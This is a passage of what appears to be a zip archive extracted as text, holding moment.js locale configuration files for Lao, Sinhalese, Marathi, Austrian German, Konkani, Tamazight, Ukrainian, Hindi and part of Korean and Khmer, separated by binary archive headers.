    dayOfMonthOrdinalParse : /\d{1,2}(일|월|주)/,
    ordinal : function (number, period) {
        switch (period) {
            case 'd':
            case 'D':
            case 'DDD':
                return number + '일';
            case 'M':
                return number + '월';
            case 'w':
            case 'W':
                return number + '주';
            default:
                return number;
        }
    },
    meridiemParse : /오전|오후/,
    isPM : function (token) {
        return token === '오후';
    },
    meridiem : function (hour, minute, isUpper) {
        return hour < 12 ? '오전' : '오후';
    }
});

PK.��\�ݒN
N
locale/lo.jsnu�[���//! moment.js locale configuration
//! locale : Lao [lo]
//! author : Ryan Hart : https://github.com/ryanhart2

import moment from '../moment';

export default moment.defineLocale('lo', {
    months : 'ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ'.split('_'),
    monthsShort : 'ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ'.split('_'),
    weekdays : 'ອາທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ'.split('_'),
    weekdaysShort : 'ທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ'.split('_'),
    weekdaysMin : 'ທ_ຈ_ອຄ_ພ_ພຫ_ສກ_ສ'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'ວັນdddd D MMMM YYYY HH:mm'
    },
    meridiemParse: /ຕອນເຊົ້າ|ຕອນແລງ/,
    isPM: function (input) {
        return input === 'ຕອນແລງ';
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 12) {
            return 'ຕອນເຊົ້າ';
        } else {
            return 'ຕອນແລງ';
        }
    },
    calendar : {
        sameDay : '[ມື້ນີ້ເວລາ] LT',
        nextDay : '[ມື້ອື່ນເວລາ] LT',
        nextWeek : '[ວັນ]dddd[ໜ້າເວລາ] LT',
        lastDay : '[ມື້ວານນີ້ເວລາ] LT',
        lastWeek : '[ວັນ]dddd[ແລ້ວນີ້ເວລາ] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'ອີກ %s',
        past : '%sຜ່ານມາ',
        s : 'ບໍ່ເທົ່າໃດວິນາທີ',
        ss : '%d ວິນາທີ' ,
        m : '1 ນາທີ',
        mm : '%d ນາທີ',
        h : '1 ຊົ່ວໂມງ',
        hh : '%d ຊົ່ວໂມງ',
        d : '1 ມື້',
        dd : '%d ມື້',
        M : '1 ເດືອນ',
        MM : '%d ເດືອນ',
        y : '1 ປີ',
        yy : '%d ປີ'
    },
    dayOfMonthOrdinalParse: /(ທີ່)\d{1,2}/,
    ordinal : function (number) {
        return 'ທີ່' + number;
    }
});

PK.��\Lt9�
�
locale/si.jsnu�[���//! moment.js locale configuration
//! locale : Sinhalese [si]
//! author : Sampath Sitinamaluwa : https://github.com/sampathsris

import moment from '../moment';

/*jshint -W100*/
export default moment.defineLocale('si', {
    months : 'ජනවාරි_පෙබරවාරි_මාර්තු_අප්‍රේල්_මැයි_ජූනි_ජූලි_අගෝස්තු_සැප්තැම්බර්_ඔක්තෝබර්_නොවැම්බර්_දෙසැම්බර්'.split('_'),
    monthsShort : 'ජන_පෙබ_මාර්_අප්_මැයි_ජූනි_ජූලි_අගෝ_සැප්_ඔක්_නොවැ_දෙසැ'.split('_'),
    weekdays : 'ඉරිදා_සඳුදා_අඟහරුවාදා_බදාදා_බ්‍රහස්පතින්දා_සිකුරාදා_සෙනසුරාදා'.split('_'),
    weekdaysShort : 'ඉරි_සඳු_අඟ_බදා_බ්‍රහ_සිකු_සෙන'.split('_'),
    weekdaysMin : 'ඉ_ස_අ_බ_බ්‍ර_සි_සෙ'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'a h:mm',
        LTS : 'a h:mm:ss',
        L : 'YYYY/MM/DD',
        LL : 'YYYY MMMM D',
        LLL : 'YYYY MMMM D, a h:mm',
        LLLL : 'YYYY MMMM D [වැනි] dddd, a h:mm:ss'
    },
    calendar : {
        sameDay : '[අද] LT[ට]',
        nextDay : '[හෙට] LT[ට]',
        nextWeek : 'dddd LT[ට]',
        lastDay : '[ඊයේ] LT[ට]',
        lastWeek : '[පසුගිය] dddd LT[ට]',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%sකින්',
        past : '%sකට පෙර',
        s : 'තත්පර කිහිපය',
        ss : 'තත්පර %d',
        m : 'මිනිත්තුව',
        mm : 'මිනිත්තු %d',
        h : 'පැය',
        hh : 'පැය %d',
        d : 'දිනය',
        dd : 'දින %d',
        M : 'මාසය',
        MM : 'මාස %d',
        y : 'වසර',
        yy : 'වසර %d'
    },
    dayOfMonthOrdinalParse: /\d{1,2} වැනි/,
    ordinal : function (number) {
        return number + ' වැනි';
    },
    meridiemParse : /පෙර වරු|පස් වරු|පෙ.ව|ප.ව./,
    isPM : function (input) {
        return input === 'ප.ව.' || input === 'පස් වරු';
    },
    meridiem : function (hours, minutes, isLower) {
        if (hours > 11) {
            return isLower ? 'ප.ව.' : 'පස් වරු';
        } else {
            return isLower ? 'පෙ.ව.' : 'පෙර වරු';
        }
    }
});
PK.��\��V��locale/mr.jsnu�[���//! moment.js locale configuration
//! locale : Marathi [mr]
//! author : Harshad Kale : https://github.com/kalehv
//! author : Vivek Athalye : https://github.com/vnathalye

import moment from '../moment';

var symbolMap = {
    '1': '१',
    '2': '२',
    '3': '३',
    '4': '४',
    '5': '५',
    '6': '६',
    '7': '७',
    '8': '८',
    '9': '९',
    '0': '०'
},
numberMap = {
    '१': '1',
    '२': '2',
    '३': '3',
    '४': '4',
    '५': '5',
    '६': '6',
    '७': '7',
    '८': '8',
    '९': '9',
    '०': '0'
};

function relativeTimeMr(number, withoutSuffix, string, isFuture)
{
    var output = '';
    if (withoutSuffix) {
        switch (string) {
            case 's': output = 'काही सेकंद'; break;
            case 'ss': output = '%d सेकंद'; break;
            case 'm': output = 'एक मिनिट'; break;
            case 'mm': output = '%d मिनिटे'; break;
            case 'h': output = 'एक तास'; break;
            case 'hh': output = '%d तास'; break;
            case 'd': output = 'एक दिवस'; break;
            case 'dd': output = '%d दिवस'; break;
            case 'M': output = 'एक महिना'; break;
            case 'MM': output = '%d महिने'; break;
            case 'y': output = 'एक वर्ष'; break;
            case 'yy': output = '%d वर्षे'; break;
        }
    }
    else {
        switch (string) {
            case 's': output = 'काही सेकंदां'; break;
            case 'ss': output = '%d सेकंदां'; break;
            case 'm': output = 'एका मिनिटा'; break;
            case 'mm': output = '%d मिनिटां'; break;
            case 'h': output = 'एका तासा'; break;
            case 'hh': output = '%d तासां'; break;
            case 'd': output = 'एका दिवसा'; break;
            case 'dd': output = '%d दिवसां'; break;
            case 'M': output = 'एका महिन्या'; break;
            case 'MM': output = '%d महिन्यां'; break;
            case 'y': output = 'एका वर्षा'; break;
            case 'yy': output = '%d वर्षां'; break;
        }
    }
    return output.replace(/%d/i, number);
}

export default moment.defineLocale('mr', {
    months : 'जानेवारी_फेब्रुवारी_मार्च_एप्रिल_मे_जून_जुलै_ऑगस्ट_सप्टेंबर_ऑक्टोबर_नोव्हेंबर_डिसेंबर'.split('_'),
    monthsShort: 'जाने._फेब्रु._मार्च._एप्रि._मे._जून._जुलै._ऑग._सप्टें._ऑक्टो._नोव्हें._डिसें.'.split('_'),
    monthsParseExact : true,
    weekdays : 'रविवार_सोमवार_मंगळवार_बुधवार_गुरूवार_शुक्रवार_शनिवार'.split('_'),
    weekdaysShort : 'रवि_सोम_मंगळ_बुध_गुरू_शुक्र_शनि'.split('_'),
    weekdaysMin : 'र_सो_मं_बु_गु_शु_श'.split('_'),
    longDateFormat : {
        LT : 'A h:mm वाजता',
        LTS : 'A h:mm:ss वाजता',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY, A h:mm वाजता',
        LLLL : 'dddd, D MMMM YYYY, A h:mm वाजता'
    },
    calendar : {
        sameDay : '[आज] LT',
        nextDay : '[उद्या] LT',
        nextWeek : 'dddd, LT',
        lastDay : '[काल] LT',
        lastWeek: '[मागील] dddd, LT',
        sameElse : 'L'
    },
    relativeTime : {
        future: '%sमध्ये',
        past: '%sपूर्वी',
        s: relativeTimeMr,
        ss: relativeTimeMr,
        m: relativeTimeMr,
        mm: relativeTimeMr,
        h: relativeTimeMr,
        hh: relativeTimeMr,
        d: relativeTimeMr,
        dd: relativeTimeMr,
        M: relativeTimeMr,
        MM: relativeTimeMr,
        y: relativeTimeMr,
        yy: relativeTimeMr
    },
    preparse: function (string) {
        return string.replace(/[१२३४५६७८९०]/g, function (match) {
            return numberMap[match];
        });
    },
    postformat: function (string) {
        return string.replace(/\d/g, function (match) {
            return symbolMap[match];
        });
    },
    meridiemParse: /रात्री|सकाळी|दुपारी|सायंकाळी/,
    meridiemHour : function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === 'रात्री') {
            return hour < 4 ? hour : hour + 12;
        } else if (meridiem === 'सकाळी') {
            return hour;
        } else if (meridiem === 'दुपारी') {
            return hour >= 10 ? hour : hour + 12;
        } else if (meridiem === 'सायंकाळी') {
            return hour + 12;
        }
    },
    meridiem: function (hour, minute, isLower) {
        if (hour < 4) {
            return 'रात्री';
        } else if (hour < 10) {
            return 'सकाळी';
        } else if (hour < 17) {
            return 'दुपारी';
        } else if (hour < 20) {
            return 'सायंकाळी';
        } else {
            return 'रात्री';
        }
    },
    week : {
        dow : 0, // Sunday is the first day of the week.
        doy : 6  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\��9%
%
locale/de-at.jsnu�[���//! moment.js locale configuration
//! locale : German (Austria) [de-at]
//! author : lluchs : https://github.com/lluchs
//! author: Menelion Elensúle: https://github.com/Oire
//! author : Martin Groller : https://github.com/MadMG
//! author : Mikolaj Dadela : https://github.com/mik01aj

import moment from '../moment';

function processRelativeTime(number, withoutSuffix, key, isFuture) {
    var format = {
        'm': ['eine Minute', 'einer Minute'],
        'h': ['eine Stunde', 'einer Stunde'],
        'd': ['ein Tag', 'einem Tag'],
        'dd': [number + ' Tage', number + ' Tagen'],
        'M': ['ein Monat', 'einem Monat'],
        'MM': [number + ' Monate', number + ' Monaten'],
        'y': ['ein Jahr', 'einem Jahr'],
        'yy': [number + ' Jahre', number + ' Jahren']
    };
    return withoutSuffix ? format[key][0] : format[key][1];
}

export default moment.defineLocale('de-at', {
    months : 'Jänner_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember'.split('_'),
    monthsShort : 'Jän._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.'.split('_'),
    monthsParseExact : true,
    weekdays : 'Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag'.split('_'),
    weekdaysShort : 'So._Mo._Di._Mi._Do._Fr._Sa.'.split('_'),
    weekdaysMin : 'So_Mo_Di_Mi_Do_Fr_Sa'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT: 'HH:mm',
        LTS: 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D. MMMM YYYY',
        LLL : 'D. MMMM YYYY HH:mm',
        LLLL : 'dddd, D. MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[heute um] LT [Uhr]',
        sameElse: 'L',
        nextDay: '[morgen um] LT [Uhr]',
        nextWeek: 'dddd [um] LT [Uhr]',
        lastDay: '[gestern um] LT [Uhr]',
        lastWeek: '[letzten] dddd [um] LT [Uhr]'
    },
    relativeTime : {
        future : 'in %s',
        past : 'vor %s',
        s : 'ein paar Sekunden',
        ss : '%d Sekunden',
        m : processRelativeTime,
        mm : '%d Minuten',
        h : processRelativeTime,
        hh : '%d Stunden',
        d : processRelativeTime,
        dd : processRelativeTime,
        M : processRelativeTime,
        MM : processRelativeTime,
        y : processRelativeTime,
        yy : processRelativeTime
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\��sj��locale/gom-latn.jsnu�[���//! moment.js locale configuration
//! locale : Konkani Latin script [gom-latn]
//! author : The Discoverer : https://github.com/WikiDiscoverer

import moment from '../moment';

function processRelativeTime(number, withoutSuffix, key, isFuture) {
    var format = {
        's': ['thodde secondanim', 'thodde second'],
        'ss': [number + ' secondanim', number + ' second'],
        'm': ['eka mintan', 'ek minute'],
        'mm': [number + ' mintanim', number + ' mintam'],
        'h': ['eka horan', 'ek hor'],
        'hh': [number + ' horanim', number + ' horam'],
        'd': ['eka disan', 'ek dis'],
        'dd': [number + ' disanim', number + ' dis'],
        'M': ['eka mhoinean', 'ek mhoino'],
        'MM': [number + ' mhoineanim', number + ' mhoine'],
        'y': ['eka vorsan', 'ek voros'],
        'yy': [number + ' vorsanim', number + ' vorsam']
    };
    return withoutSuffix ? format[key][0] : format[key][1];
}

export default moment.defineLocale('gom-latn', {
    months : 'Janer_Febrer_Mars_Abril_Mai_Jun_Julai_Agost_Setembr_Otubr_Novembr_Dezembr'.split('_'),
    monthsShort : 'Jan._Feb._Mars_Abr._Mai_Jun_Jul._Ago._Set._Otu._Nov._Dez.'.split('_'),
    monthsParseExact : true,
    weekdays : 'Aitar_Somar_Mongllar_Budvar_Brestar_Sukrar_Son\'var'.split('_'),
    weekdaysShort : 'Ait._Som._Mon._Bud._Bre._Suk._Son.'.split('_'),
    weekdaysMin : 'Ai_Sm_Mo_Bu_Br_Su_Sn'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'A h:mm [vazta]',
        LTS : 'A h:mm:ss [vazta]',
        L : 'DD-MM-YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY A h:mm [vazta]',
        LLLL : 'dddd, MMMM[achea] Do, YYYY, A h:mm [vazta]',
        llll: 'ddd, D MMM YYYY, A h:mm [vazta]'
    },
    calendar : {
        sameDay: '[Aiz] LT',
        nextDay: '[Faleam] LT',
        nextWeek: '[Ieta to] dddd[,] LT',
        lastDay: '[Kal] LT',
        lastWeek: '[Fatlo] dddd[,] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : '%s',
        past : '%s adim',
        s : processRelativeTime,
        ss : processRelativeTime,
        m : processRelativeTime,
        mm : processRelativeTime,
        h : processRelativeTime,
        hh : processRelativeTime,
        d : processRelativeTime,
        dd : processRelativeTime,
        M : processRelativeTime,
        MM : processRelativeTime,
        y : processRelativeTime,
        yy : processRelativeTime
    },
    dayOfMonthOrdinalParse : /\d{1,2}(er)/,
    ordinal : function (number, period) {
        switch (period) {
            // the ordinal 'er' only applies to day of the month
            case 'D':
                return number + 'er';
            default:
            case 'M':
            case 'Q':
            case 'DDD':
            case 'd':
            case 'w':
            case 'W':
                return number;
        }
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    },
    meridiemParse: /rati|sokalli|donparam|sanje/,
    meridiemHour : function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === 'rati') {
            return hour < 4 ? hour : hour + 12;
        } else if (meridiem === 'sokalli') {
            return hour;
        } else if (meridiem === 'donparam') {
            return hour > 12 ? hour : hour + 12;
        } else if (meridiem === 'sanje') {
            return hour + 12;
        }
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 4) {
            return 'rati';
        } else if (hour < 12) {
            return 'sokalli';
        } else if (hour < 16) {
            return 'donparam';
        } else if (hour < 20) {
            return 'sanje';
        } else {
            return 'rati';
        }
    }
});
PK.��\(B(�2	2	
locale/tzm.jsnu�[���//! moment.js locale configuration
//! locale : Central Atlas Tamazight [tzm]
//! author : Abdel Said : https://github.com/abdelsaid

import moment from '../moment';

export default moment.defineLocale('tzm', {
    months : 'ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ'.split('_'),
    monthsShort : 'ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ'.split('_'),
    weekdays : 'ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ'.split('_'),
    weekdaysShort : 'ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ'.split('_'),
    weekdaysMin : 'ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS: 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[ⴰⵙⴷⵅ ⴴ] LT',
        nextDay: '[ⴰⵙⴽⴰ ⴴ] LT',
        nextWeek: 'dddd [ⴴ] LT',
        lastDay: '[ⴰⵚⴰⵏⵜ ⴴ] LT',
        lastWeek: 'dddd [ⴴ] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : 'ⴷⴰⴷⵅ ⵙ ⵢⴰⵏ %s',
        past : 'ⵢⴰⵏ %s',
        s : 'ⵉⵎⵉⴽ',
        ss : '%d ⵉⵎⵉⴽ',
        m : 'ⵎⵉⵏⵓⴺ',
        mm : '%d ⵎⵉⵏⵓⴺ',
        h : 'ⵙⴰⵄⴰ',
        hh : '%d ⵜⴰⵙⵙⴰⵄⵉⵏ',
        d : 'ⴰⵙⵙ',
        dd : '%d oⵙⵙⴰⵏ',
        M : 'ⴰⵢoⵓⵔ',
        MM : '%d ⵉⵢⵢⵉⵔⵏ',
        y : 'ⴰⵙⴳⴰⵙ',
        yy : '%d ⵉⵙⴳⴰⵙⵏ'
    },
    week : {
        dow : 6, // Saturday is the first day of the week.
        doy : 12  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\���YYYlocale/uk.jsnu�[���//! moment.js locale configuration
//! locale : Ukrainian [uk]
//! author : zemlanin : https://github.com/zemlanin
//! Author : Menelion Elensúle : https://github.com/Oire

import moment from '../moment';

function plural(word, num) {
    var forms = word.split('_');
    return num % 10 === 1 && num % 100 !== 11 ? forms[0] : (num % 10 >= 2 && num % 10 <= 4 && (num % 100 < 10 || num % 100 >= 20) ? forms[1] : forms[2]);
}
function relativeTimeWithPlural(number, withoutSuffix, key) {
    var format = {
        'ss': withoutSuffix ? 'секунда_секунди_секунд' : 'секунду_секунди_секунд',
        'mm': withoutSuffix ? 'хвилина_хвилини_хвилин' : 'хвилину_хвилини_хвилин',
        'hh': withoutSuffix ? 'година_години_годин' : 'годину_години_годин',
        'dd': 'день_дні_днів',
        'MM': 'місяць_місяці_місяців',
        'yy': 'рік_роки_років'
    };
    if (key === 'm') {
        return withoutSuffix ? 'хвилина' : 'хвилину';
    }
    else if (key === 'h') {
        return withoutSuffix ? 'година' : 'годину';
    }
    else {
        return number + ' ' + plural(format[key], +number);
    }
}
function weekdaysCaseReplace(m, format) {
    var weekdays = {
        'nominative': 'неділя_понеділок_вівторок_середа_четвер_п’ятниця_субота'.split('_'),
        'accusative': 'неділю_понеділок_вівторок_середу_четвер_п’ятницю_суботу'.split('_'),
        'genitive': 'неділі_понеділка_вівторка_середи_четверга_п’ятниці_суботи'.split('_')
    };

    if (!m) {
        return weekdays['nominative'];
    }

    var nounCase = (/(\[[ВвУу]\]) ?dddd/).test(format) ?
        'accusative' :
        ((/\[?(?:минулої|наступної)? ?\] ?dddd/).test(format) ?
            'genitive' :
            'nominative');
    return weekdays[nounCase][m.day()];
}
function processHoursFunction(str) {
    return function () {
        return str + 'о' + (this.hours() === 11 ? 'б' : '') + '] LT';
    };
}

export default moment.defineLocale('uk', {
    months : {
        'format': 'січня_лютого_березня_квітня_травня_червня_липня_серпня_вересня_жовтня_листопада_грудня'.split('_'),
        'standalone': 'січень_лютий_березень_квітень_травень_червень_липень_серпень_вересень_жовтень_листопад_грудень'.split('_')
    },
    monthsShort : 'січ_лют_бер_квіт_трав_черв_лип_серп_вер_жовт_лист_груд'.split('_'),
    weekdays : weekdaysCaseReplace,
    weekdaysShort : 'нд_пн_вт_ср_чт_пт_сб'.split('_'),
    weekdaysMin : 'нд_пн_вт_ср_чт_пт_сб'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D MMMM YYYY р.',
        LLL : 'D MMMM YYYY р., HH:mm',
        LLLL : 'dddd, D MMMM YYYY р., HH:mm'
    },
    calendar : {
        sameDay: processHoursFunction('[Сьогодні '),
        nextDay: processHoursFunction('[Завтра '),
        lastDay: processHoursFunction('[Вчора '),
        nextWeek: processHoursFunction('[У] dddd ['),
        lastWeek: function () {
            switch (this.day()) {
                case 0:
                case 3:
                case 5:
                case 6:
                    return processHoursFunction('[Минулої] dddd [').call(this);
                case 1:
                case 2:
                case 4:
                    return processHoursFunction('[Минулого] dddd [').call(this);
            }
        },
        sameElse: 'L'
    },
    relativeTime : {
        future : 'за %s',
        past : '%s тому',
        s : 'декілька секунд',
        ss : relativeTimeWithPlural,
        m : relativeTimeWithPlural,
        mm : relativeTimeWithPlural,
        h : 'годину',
        hh : relativeTimeWithPlural,
        d : 'день',
        dd : relativeTimeWithPlural,
        M : 'місяць',
        MM : relativeTimeWithPlural,
        y : 'рік',
        yy : relativeTimeWithPlural
    },
    // M. E.: those two are virtually unused but a user might want to implement them for his/her website for some reason
    meridiemParse: /ночі|ранку|дня|вечора/,
    isPM: function (input) {
        return /^(дня|вечора)$/.test(input);
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 4) {
            return 'ночі';
        } else if (hour < 12) {
            return 'ранку';
        } else if (hour < 17) {
            return 'дня';
        } else {
            return 'вечора';
        }
    },
    dayOfMonthOrdinalParse: /\d{1,2}-(й|го)/,
    ordinal: function (number, period) {
        switch (period) {
            case 'M':
            case 'd':
            case 'DDD':
            case 'w':
            case 'W':
                return number + '-й';
            case 'D':
                return number + '-го';
            default:
                return number;
        }
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\�t��locale/hi.jsnu�[���//! moment.js locale configuration
//! locale : Hindi [hi]
//! author : Mayank Singhal : https://github.com/mayanksinghal

import moment from '../moment';

var symbolMap = {
    '1': '१',
    '2': '२',
    '3': '३',
    '4': '४',
    '5': '५',
    '6': '६',
    '7': '७',
    '8': '८',
    '9': '९',
    '0': '०'
},
numberMap = {
    '१': '1',
    '२': '2',
    '३': '3',
    '४': '4',
    '५': '5',
    '६': '6',
    '७': '7',
    '८': '8',
    '९': '9',
    '०': '0'
};

export default moment.defineLocale('hi', {
    months : 'जनवरी_फ़रवरी_मार्च_अप्रैल_मई_जून_जुलाई_अगस्त_सितम्बर_अक्टूबर_नवम्बर_दिसम्बर'.split('_'),
    monthsShort : 'जन._फ़र._मार्च_अप्रै._मई_जून_जुल._अग._सित._अक्टू._नव._दिस.'.split('_'),
    monthsParseExact: true,
    weekdays : 'रविवार_सोमवार_मंगलवार_बुधवार_गुरूवार_शुक्रवार_शनिवार'.split('_'),
    weekdaysShort : 'रवि_सोम_मंगल_बुध_गुरू_शुक्र_शनि'.split('_'),
    weekdaysMin : 'र_सो_मं_बु_गु_शु_श'.split('_'),
    longDateFormat : {
        LT : 'A h:mm बजे',
        LTS : 'A h:mm:ss बजे',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY, A h:mm बजे',
        LLLL : 'dddd, D MMMM YYYY, A h:mm बजे'
    },
    calendar : {
        sameDay : '[आज] LT',
        nextDay : '[कल] LT',
        nextWeek : 'dddd, LT',
        lastDay : '[कल] LT',
        lastWeek : '[पिछले] dddd, LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s में',
        past : '%s पहले',
        s : 'कुछ ही क्षण',
        ss : '%d सेकंड',
        m : 'एक मिनट',
        mm : '%d मिनट',
        h : 'एक घंटा',
        hh : '%d घंटे',
        d : 'एक दिन',
        dd : '%d दिन',
        M : 'एक महीने',
        MM : '%d महीने',
        y : 'एक वर्ष',
        yy : '%d वर्ष'
    },
    preparse: function (string) {
        return string.replace(/[१२३४५६७८९०]/g, function (match) {
            return numberMap[match];
        });
    },
    postformat: function (string) {
        return string.replace(/\d/g, function (match) {
            return symbolMap[match];
        });
    },
    // Hindi notation for meridiems are quite fuzzy in practice. While there exists
    // a rigid notion of a 'Pahar' it is not used as rigidly in modern Hindi.
    meridiemParse: /रात|सुबह|दोपहर|शाम/,
    meridiemHour : function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === 'रात') {
            return hour < 4 ? hour : hour + 12;
        } else if (meridiem === 'सुबह') {
            return hour;
        } else if (meridiem === 'दोपहर') {
            return hour >= 10 ? hour : hour + 12;
        } else if (meridiem === 'शाम') {
            return hour + 12;
        }
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 4) {
            return 'रात';
        } else if (hour < 10) {
            return 'सुबह';
        } else if (hour < 17) {
            return 'दोपहर';
        } else if (hour < 20) {
            return 'शाम';
        } else {
            return 'रात';
        }
    },
    week : {
        dow : 0, // Sunday is the first day of the week.
        doy : 6  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\��;S*
*
locale/km.jsnu�[���//! moment.js locale configuration
//! locale : Cambodian [km]
//! author : Kruy Vanna : https://github.com/kruyvanna

import moment from '../moment';

var symbolMap = {
    '1': '១',
    '2': '២',
    '3': '៣',
    '4': '៤',
    '5': '៥',
    '6': '៦',
    '7': '៧',
    '8': '៨',
    '9': '៩',
    '0': '០'
}, numberMap = {
    '១': '1',
    '២': '2',
    '៣': '3',
    '៤': '4',
    '៥': '5',
    '៦': '6',
    '៧': '7',
    '៨': '8',
    '៩': '9',
    '០': '0'
};

export default moment.defineLocale('km', {
    months: 'មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ'.split(
        '_'
    ),
    monthsShort: 'មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ'.split(
        '_'
    ),
    weekdays: 'អាទិត្យ_ច័ន្ទ_អង្គារ_ពុធ_ព្រហស្បតិ៍_សុក្រ_សៅរ៍'.split('_'),
    weekdaysShort: 'អា_ច_អ_ព_ព្រ_សុ_ស'.split('_'),
    weekdaysMin: 'អា_ច_អ_ព_ព្រ_សុ_ស'.split('_'),
    weekdaysParseExact: true,
    longDateFormat: {
        LT: 'HH:mm',
        LTS: 'HH:mm:ss',
        L: 'DD/MM/YYYY',
        LL: 'D MMMM YYYY',
        LLL: 'D MMMM YYYY HH:mm',
        LLLL: 'dddd, D MMMM YYYY HH:mm'
    },
    meridiemParse: /ព្រឹក|ល្ងាច/,
    isPM: function (input) {
        return input === 'ល្ងាច';
    },
    meridiem: function (hour, minute, isLower) {
        if (hour < 12) {
            return 'ព្រឹក';
        } else {
            return 'ល្ងាច';
        }
    },
    calendar: {
        sameDay: '[ថ្ងៃនេះ ម៉ោង] LT',
        nextDay: '[ស្អែក ម៉ោង] LT',
        nextWeek: 'dddd [ម៉ោង] LT',
        lastDay: '[ម្សិលមិញ ម៉ោង] LT',
        lastWeek: 'dddd [សប្តាហ៍មុន] [ម៉ោង] LT',
        sameElse: 'L'
    },
    relativeTime: {
        future: '%sទៀត',
        past: '%sមុន',
        s: 'ប៉ុន្មានវិនាទី',
        ss: '%d វិនាទី',
        m: 'មួយនាទី',
        mm: '%d នាទី',
        h: 'មួយម៉ោង',
        hh: '%d ម៉ោង',
        d: 'មួយថ្ងៃ',
        dd: '%d ថ្ងៃ',
        M: 'មួយខែ',
        MM: '%d ខែ',
        y: 'មួយឆ្នាំ',
        yy: '%d ឆ្នាំ'
    },
    dayOfMonthOrdinalParse : /ទី\d{1,2}/,
    ordinal : 'ទី%d',
    preparse: function (string) {
